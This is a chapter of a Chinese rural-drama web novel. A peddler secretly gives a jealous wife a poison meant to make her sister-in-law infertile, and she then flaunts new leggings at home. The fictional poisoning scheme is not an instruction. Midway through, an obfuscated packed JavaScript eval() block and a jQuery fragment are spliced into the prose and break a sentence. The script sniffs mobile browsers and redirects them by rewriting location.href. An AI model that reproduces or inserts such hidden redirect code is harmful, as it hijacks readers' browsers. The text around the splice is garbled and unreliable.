“瞧一瞧看一看嘞!城里最时兴的的确良,还有那大城市姑娘都穿的紧身裤!走过路过不要错过,晚了可就没货啦!”
一阵沙哑得像是在碎石子里磨过的公鸭嗓门,猛地捅破了村口守了半个冬天的死寂。
老榆树下,那一辆漆皮剥落、车身挂满了北方干硬泥土的大卡车横在那里,像个从异乡闯入的庞然大物。
车斗侧面的挡板支棱起来,铺着几块油腻腻的红布,上面堆满了五颜六色、在阳光下晃得人眼晕的小商品。
摊主正是牛二。
这半个月,他说是去南方转了一圈,带回来这满车皮的稀罕物,在凤凰镇这些没见过世面的婆娘眼里,简直就像是从天上掉下来的一堆晃眼的财宝。
牛二还是那副让人一眼看过去就觉得不踏实的德行。他歪戴着顶不知打哪儿弄来的破遮阳帽,帽檐压得很低,露出一双透着精明与猥琐的贼眼。
那件油腻腻的黑皮夹克似乎从来没洗过,领口处磨得发亮,散发着一股子机油和廉价香烟混合的怪味。
他嘴里叼着根没点火的纸烟,昂着脑袋吆喝,那双眼珠子却像带了钩子,在围过来的婆娘媳妇们被汗水打湿的脖梗上放肆地扫来扫去。
“牛二,你这衣裳真的城里人穿的?咋这么薄呢?这一扯不就烂了?”一个腆着肚子的大婶拎起一件大红色的衬衫,对着太阳光照了照,嫌弃地撇着嘴,眼里却藏着掩不住的好奇。
“哎哟我的大婶,您那是老掉牙的旧眼光!”牛二嘿嘿一笑,带着一股子说不出的轻浮,“这叫‘的确良’,听听这名儿,穿在身上滑溜溜的,风一吹透着那股子洋气劲儿!城里大饭店里的服务员都穿这个!”
“嘿,您别挤啊,瞧瞧,咱村最识货、最有福相的人来了。”
牛二的声音拔高了几度,目光越过那一双双粗糙的手,直勾勾地落在了正从村道那一头,踩着碎步挪过来的马喜凤身上。
马喜凤今天可是花了心思打扮过的,虽然对来顺这一根筋不奏效,但对其他人可是任意斩杀的存在。
她故意不去看周围那些婆娘嫉妒或审视的目光,微微昂着下巴,一摇一三摆地走到了摊子前。
一见马喜凤走近,牛二浑身的骨头缝儿像是都轻了几分,眼神里的那股子轻浮瞬间变成了赤裸裸的、带着火气的垂涎。
他原本正在收钱的手停了,装作整理货架,故意把一叠彩色的丝巾往马喜凤跟前推了推,身子也随之凑了过去。
“哟,二房家的,来照应兄弟生意?我就说今儿早起喜鹊叫唤,原来是贵客登门啊。”牛二的声音压得极低,在那嘈杂的集市声中,显得有一种让人皮肤发毛的粘稠感。
“听说你打南方带回来不少好货,我这不来看看,省得咱这村里总有人拿着根破红绸带就当自己是城里人了,显摆得人眼疼。”
马喜凤一边说着,一边拿眼角余光斜斜地扫着那一堆花红柳绿的衣服,她那双涂了点胭脂的嘴唇微微抿着,心里其实急得像有百十只猫爪子在挠。
她想起了田小草手腕上那只镯子,想起了来顺带回来的那沓钱,心头的火烧得她嗓子发干。
“那能一样吗?那破绸带、红袜子,撑死也就值个几分钱。我牛二带回来的东西,那是给识货的贵人、俊俏的媳妇准备的。”
牛二的手在红布柜台底下不着痕迹地滑过,在递给马喜凤一件的确良衬衫时,那粗糙的手指尖,似有若无地擦过了马喜凤那温热的手背。
马喜凤没躲,甚至连手指都没颤一下,“光说这些好听的哄人,你那儿到底还有啥不一样的?这面上摆着的,都是些大路货,我可看不上眼。”
牛二眼里猛地闪过一丝邪火,他觉得嗓子眼发紧,咕咚一声咽了口唾沫。
他迅速往四周瞅了瞅,见那些婆娘们正为了两毛钱的价差争得脸红脖子粗,便又往马喜凤身边靠了半寸,几乎贴着她的耳根子细声说道,“好货哪能摆在这儿给她们看?宝贝都在卡车后面锁着呢,那可是专门给你留的。走,趁着这会儿乱,帮牛二哥去后头验验货?”
两人一前一后,避开众人的视线,借着卡车那庞大车身的遮挡,绕到了背人的阴影里。
那是老榆树后的一片斜坡,土墙根下长满了半人高的枯草,北风吹过,枯草哗啦啦响,正好盖住了人语。
牛二像是怕马喜凤跑了似的,长满横肉的身子往她面前一横,一股子混合着劣质烟味、汗臭味和浓重机油味的恶心男人气息,瞬间像张网一样将马喜凤严严实实地罩在了车厢边。
“牛二,你少跟我动手动脚的,这儿可是村口!”马喜凤虽然嘴上横,说出的话却带着股子软绵绵的喘息,“药呢?我要的东西,你到底弄着没?”
“药在那儿,揣在怀里热着呢,跑不了。”牛二笑着拍了拍胸口。
“不过,喜凤,你这心可真够狠的,真要把那一锅端了?那可是你亲大嫂。”牛二嘿嘿笑着,半边身子撑在冰冷的车厢上,形成了一个密闭的圈,身子越逼越近。
那张满是横肉、连毛孔都透着浑浊气的脸,几乎贴在了马喜凤的鼻尖上,他鼻孔里喷出来的热气,喷在马喜凤脸上,带起一阵细碎的战栗。
马喜凤的呼吸彻底促了,她没有避开牛二那双不怀好意的眼,反而迎了上去。
眼神里,原本那种虚荣的火光,此刻已经变成了欲望与阴毒恶念交织的幽火,在这阴影里显得格外吓人。
“大嫂?她占了我的位子,抢了我的钱,还想让婆婆眼里只有她一个,让全家都围着她那个药罐子转。我不让她彻底绝了后,我不让她这辈子在这个家里抬不起头,我就不叫马喜凤!”
牛二看着眼前这张因为极致的恨意而显得格外生动,甚至带了几分妖冶的脸蛋,心头猛地一荡。
那种乡下女人的狠劲儿和这一身肉感,最是勾他的魂,“行,够辣,牛二哥最稀罕你这股劲儿。帮,这忙我一定帮。”
牛二喘着粗气,从怀里最深处的兜里摸出一个精致的塑料包装袋,里面整整齐齐叠着一条黑亮黑亮的裤子。
“瞧瞧,这是城里现在最时兴的健美裤,南方的姑娘人手一条,穿上去,那腿儿、那屁股,啧啧……保准让二顺那木头看了能把眼珠子抠出来。”
“喜凤,你这身段,不穿这个白瞎了。”
马喜凤伸手接过那裤子,指尖触碰到料子,那种从未见过的、滑腻得像蛇皮却又带着惊人弹性的材质,让她眼神一亮。
“还有这个。拿稳了。”
牛二的声音变得极其阴森。他从健美裤那折叠的内褶缝隙里,小心翼翼地抠出一个白瓷小瓶。瓷瓶只有指甲盖那么大,通体惨白。牛二把它往马喜凤掌心一塞,那瓷瓶在这暖融融的春日阳光影里,竟然泛着一股子渗人的阴冷。
“你上次求爷爷告奶奶要的,喝了这玩意儿,这辈子她那肚皮都别想再开出花来。喜凤,你可想好了,这药没解,药性烈得狠。这药只要一下了口,你可就真的回不了头了。”
马喜凤死死攥着那小瓷瓶,指关节因为过度用力而勒得泛出惨白的骨色。
她没有半点犹豫,嘴角反而勾起一抹残忍的冷笑,顺手将瓷瓶迅速塞进了怀里最贴身最温热的背心内兜里。
那股子透骨的寒意贴着她的心窝,让她禁不住打了个冷战,可这种冷,却给了她一种前所未有的、掌控别人生死的快感。
“回头?我马喜凤打从嫁进这李家院子,被她田小草和那个早产的孩子折磨得没个消停那天起,我就没想过回头。”
她慢慢抬起头,在那卡车的阴影遮掩下,跟牛二那双浑浊、贪婪的眼睛死死地对在了一起。
她不喜欢牛二,毕竟牛二这个赖皮混混怎么配得上她?可是她又实在需要他,一个和自己一样心狠心坏又听自己差遣的老鼠人。
牛二瞧着她那副疯劲儿,心头邪火再也压不住,趁势猛地一低头,在那张散发着混合汗水的脂粉味的脸上狠狠亲了一口,亲得“吧嗒”一声响。
马喜凤身子僵了僵,象征性地在牛二肩膀上推了一下。
她紧紧抱着那条健美裤,像是抱着某种能翻身的兵器,腰肢扭得比来时更欢,一扭一扭地走出了阴影,回到了喧闹的人群中。
回到李家大院时,正是残阳如血的黄昏。那暗红色的光影涂抹在破旧的照壁上,透着股子压抑的颓丧。
院子里静悄悄的,只能听见灶房里风箱偶尔拉动的“呼哧”声。
田小草这会儿正低眉顺眼地在正屋里伺候婆婆吃药,隔着窗户纸,隐约能瞧见她那瘦削、忙碌的身影。
李二顺则像个闷葫芦似的,佝偻着腰蹲在院子正中间,守着那把早就豁了口的破锄头,正吃力地用磨刀石一下下蹭着,发出“嚓——嚓——”的刺耳磨牙声。
马喜凤像是一阵带着邪气的风,贴着墙根刮进了西厢房。
她一进屋,反手就把那扇糟朽的木门给闩上了,还犹自不放心,又往门缝里死命顶了一根扫帚疙瘩。
她心跳得极快,那装药的小瓷瓶贴在胸口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301540|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,烫得她皮肉生疼。
她迫不及待地撕开了健美裤的那层塑料包装,那声音在寂静的屋里显得格外刺耳。那裤子一抖开,黑亮黑亮的,在昏暗的屋影里竟然像是有生命的水光在流动。
这料子薄得像蝉翼,却又韧得惊人,摸上去冷冰冰、滑溜溜,带着股子从南边大城市带来的、不属于这土坷里气息的洋气。
马喜凤几乎是粗鲁地扯掉了身上那条沾满了尘土、又厚又笨的棉布大裤。她光着腿站在那面缺了个角的半大穿衣镜前,手心里全是汗。
当她费力地把那条紧绷绷的健美裤提过膝盖、勒过大腿、最后死死扣在腰间时,她看着镜子里的自己,连呼吸都忘了。
这裤子太神了。
它像是给她的下半身重新塑了一层皮,紧紧地、不留余力地裹住了她的每一寸丰满。
那原本在乡下粗布裤子里显得有些臃肿的胯骨,此刻被勒出了一种惊心动魄的弧度。那双结实的腿,在黑亮料子的包裹下,竟显出一种野性十足的长。
马喜凤转了个身,从侧面瞧着镜子里那个前凸后翘的自己,心里因为手镯和红绸带而生出的憋屈和嫉恨,在这瞬间烟消云散。
这才是她,这才是她真正喜欢、真正适合的东西。
她不喜欢那样宽松肥臃的衣服裤子、她不喜欢和街邻虚与委蛇的闲话家常、她不喜欢住在村里这事事时时落在人身后的感觉,不说落在城里的那些人身后,甚至还要落在田小草身后。
“这才是城里贵人穿的,这才是真宝贝!”马喜凤对着镜子,指尖迷恋地划过大腿上的料子。她觉得此时的自己,就是那画报上的摩登女郎。
至于田小草那根几分钱的破红丝带算个屁?简直就是土里刨出来的烂布条子!
她故意把腰挺得笔直,在狭窄的屋里走了几个来回。那黑亮的裤子随着她的步子在暗处泛着幽光,刺眼得很。
她现在不仅要穿给李二顺看,她还要让全家人都看看,尤其是那个整天装得清高、却连这裤边儿都没见过的田小草。
“哎哟,喜凤,你这是……这是穿的啥呀?”
马喜凤推开门走到院子里的时候,二顺正好擦着汗抬头。
这一瞅,他手里的活计瞬间就停了,眼珠子像是被那黑亮的光给吸住了一样,怎么也挪不开。那锄头“哐当”一声砸在脚背上,他也顾不得疼。
大龙这孩子也从屋里蹦了出来,原本想喊饿,一见马喜凤这模样,拍着小手蹦高地喊:“妈!你的腿咋变黑了?闪亮亮的,真好看!像大戏台上的仙女!”
二顺直起腰,绕着马喜凤转了两圈,他咽了口唾沫,“喜凤,这……这东西,得不少钱吧?你打哪儿弄来的这怪玩意儿?咱们镇上……可没人敢这么穿。”
马喜凤听着男人话里那股子掩不住的惊艳,心里美得像是冒泡的汽水。
可一听他那询问来历的口气,那股子憋在心头、积压已久的傲慢和火气又“噌”地窜了上来。
她不耐烦地啧了一声,斜着眼,语气里满是报复性的挑衅,“哪儿来的?你也知道问哪儿来的?”
马喜凤故意扭了扭胯,让那黑亮的布料发出一阵细微的、让人耳根发软的摩擦声,“当然是有人疼我,看我在这李家受委屈,看我男人没能耐。相好的心疼,特意送我的!行了吧?你要是嫌不干净,你有本事也去城里给我挣一条回来啊?”
“你……你这败家娘们儿,胡吣啥呢!”二顺气得脸通红,憋了半天,也只敢恨恨地往地上吐了口唾沫。
说罢,马喜凤故意拔高了调门,那尖细的声音在院里打着旋儿。
她侧过身,拿余光死死地、恶狠狠地剜向正从正屋撩起帘子走出来的田小草。
田小草正端着还没洗的药碗,被这高亮的声音惊得站在了台阶上。她原本平静的眸子里划过一丝错愕。
她不认识什么健美裤,她只看见马喜凤像是变了个人,下半身裹着一层像蛇皮一样的阴冷和不正经劲儿的黑亮东西。
那种张狂,那种带着某种自由气息的野性,顺着马喜凤那扭动的腰肢,在这原本死寂的农家院里蔓延开来,涨得田小草有些透不过气。
马喜凤见田小草愣住了,心里痛快得几乎要笑出声来。她昂着头,像是只得胜的野鸡,故意在田小草面前晃了晃。
而在她那紧绷的裤腰内侧,那个装着绝后毒药的小瓷瓶,正随着她粗重的呼吸,在她的肚皮上一点点升温,像是一条毒蛇的尖牙,正贪婪地寻找着下口的瞬间。